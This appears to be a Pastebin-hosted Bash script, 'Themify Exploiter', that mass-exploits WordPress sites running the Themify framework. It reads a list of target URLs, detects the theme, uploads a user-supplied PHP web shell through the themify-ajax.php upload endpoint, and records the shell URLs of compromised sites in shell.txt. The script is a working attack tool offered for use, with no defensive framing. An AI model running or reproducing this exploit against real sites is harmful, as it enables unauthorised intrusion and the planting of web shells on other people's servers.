Advertisement
ccocot

Themify.sh

Dec 20th, 2017
76
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 1.58 KB | None | 0 0
  1. #!/bin/bash
  2. # BC0DE.NET - CCOCOT.CO
  3.  
  4. header(){
  5. cat << "EOF"
  6.          ____   ____ ___  ____  _____   _   _ _____ _____
  7.         | __ ) / ___/ _ \|  _ \| ____| | \ | | ____|_   _|
  8.         |  _ \| |  | | | | | | |  _|   |  \| |  _|   | |  
  9.         | |_) | |__| |_| | |_| | |___ _| |\  | |___  | |  
  10.         |____/ \____\___/|____/|_____(_)_| \_|_____| |_|  
  11.  
  12.             Themify Exploiter
  13.             Ccocot | ccocot@bc0de.net
  14.             Thank For Monyet B Luffy
  15.  
  16. EOF
  17. }
  18.  
  19.  
  20. function Exploit(){
  21.     local CY='\e[36m'
  22.     local GR='\e[34m'
  23.     local OG='\e[92m'
  24.     local WH='\e[37m'
  25.     local RD='\e[31m'
  26.     local YL='\e[33m'
  27.     local BF='\e[34m'
  28.     local DF='\e[39m'
  29.     local OR='\e[33m'
  30.     local PP='\e[35m'
  31.     local B='\e[1m'
  32.     local CC='\e[0m'
  33.     printf "${CY}[*]${CC} Website: ${1}\n"
  34.     local CHECK=$(curl -s ${1} -L)
  35.     if [[ $CHECK =~ "/themify/" ]]; then
  36.         local THEME=$(echo $CHECK | grep -Po "(?<=/themes/)[^/]*" | head -1)
  37.         printf "${OG}[+]${CC} Themify Found [${B}${PP}$THEME${CC}]\n"
  38.         local EXPLOIT=$(curl -s "${1}/wp-content/themes/${THEME}/themify/themify-ajax.php?upload=1" -X POST -F "Filedata=@${2}" -D -)
  39.         if [[ $EXPLOIT =~ "${2}" ]]; then
  40.             printf "${OG}[+]${CC} EXPLOIT SUKSES ... [${2}]\n"
  41.             printf "${OG}[+]${CC} ${1}/wp-content/themes/${THEME}/uploads/${2}\n\n"
  42.             echo "${1}/wp-content/themes/${THEME}/uploads/${2}" >> shell.txt
  43.         else
  44.             printf "${RD}[-]${CC} EXPLOIT GAGAL ... [$2]\n\n"
  45.         fi
  46.     else
  47.         printf "${RD}[-]${CC} Themify not found\n\n"
  48.     fi
  49. }
  50.  
  51. if [ -z $1 ]; then
  52.     header
  53.     printf "\n To Use $0 <file.txt> <shell.php>\n"
  54.     exit 1
  55. fi
  56.  
  57. header
  58. SHELL=$2
  59.  
  60. for SITE in $(cat $1); do
  61.     Exploit "${SITE}" "${SHELL}"
  62. done
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement